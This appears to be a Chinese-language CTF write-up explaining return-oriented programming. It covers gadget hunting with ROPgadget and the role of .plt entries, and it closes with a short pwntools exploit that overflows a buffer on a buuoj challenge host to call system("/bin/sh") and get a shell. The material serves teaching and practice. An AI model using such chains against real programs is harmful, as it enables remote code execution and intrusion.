ROP(Return - Oriented Programming)链,即面向返回编程链,是一种在计算机安全领域,特别是在漏洞利用技术中使用的方法。它允许攻击者在存在内存保护机制(如数据执行保护 DEP)的环境中执行恶意代码。ROP 链的核心思想是利用程序中已有的可执行代码片段(称为 “gadget”),通过巧妙地组合这些片段,构造出攻击者想要的功能,比如执行系统命令或获取更高权限等。
ROP 链构建步骤
寻找 gadget:使用工具如 ROPgadget 来在目标程序或相关库中查找可用的 gadget。这些 gadget 通常是一些以 ret 指令结尾的代码片段,例如 pop 指令、mov 指令等,它们可以用来控制程序流程和操作数据。例如,通过执行命令 “ROPgadget --binary [目标程序名称]” 来查找 gadget1。
确定攻击目标:明确想要实现的功能,比如执行特定的系统调用(如 execve 来执行命令)或者覆盖关键函数的返回地址以改变程序执行流程。
构建 ROP 链:根据目标,将找到的 gadget 组合起来。例如,如果想要设置参数并执行系统调用,可以先使用 pop 指令将参数值放入合适的寄存器,然后找到调用系统调用的 gadget。
关于 .plt
的含义
PLT 的作用:
PLT 是一个特殊的段,用于存储程序中动态链接函数的调用入口。
当程序调用一个动态链接的函数(如
system
或puts
)时,它实际上会跳转到 PLT 中的对应条目。
PLT 的结构:
每个 PLT 条目是一个跳转指令,通常会跳转到动态链接器(如
ld.so
)的代码中,以便解析目标函数的实际地址。在第一次调用时,动态链接器会解析目标函数的地址,并将其存储在全局偏移表(GOT, Global Offset Table)中。
.plt:0000000000400490
的具体含义:这是一个 PLT 条目地址,表示程序中某个动态链接函数的入口。
例如,
_system
的 PLT 条目可能位于这个地址,表示程序可以通过这个地址调用system
函数。
在 ROP 中使用 PLT
在 ROP(Return-Oriented Programming)攻击中,PLT 条目可以作为目标地址,用于调用动态链接的函数。例如:
如果想调用
system("/bin/sh")
,可以通过将system
的 PLT 地址放入 ROP 链中。这种方法可以绕过某些保护机制(如 DEP),因为 PLT 中的代码是程序本身的一部分,通常是可执行的。
就一个简单的64位有system和"/bin/sh"的溢出
1.获取偏移量,system和"/bin/sh"的地址
2.因为是64位,所以需要ret去维持堆栈平衡和一个rdi寄存器
3.构造ROP链并发送连接
利用gadget,pop rdi ret传入字符串并调用system,得到shell
from pwn import*
p = remote('node5.buuoj.cn',26619)
sys_addr = 0x400490
bin_sh = 0x601048
pop_rdi = 0x400683
p.sendline(b'a'*0x18 + p64(pop_rdi)+p64(bin_sh)+p64(sys_addr))
p.interactive()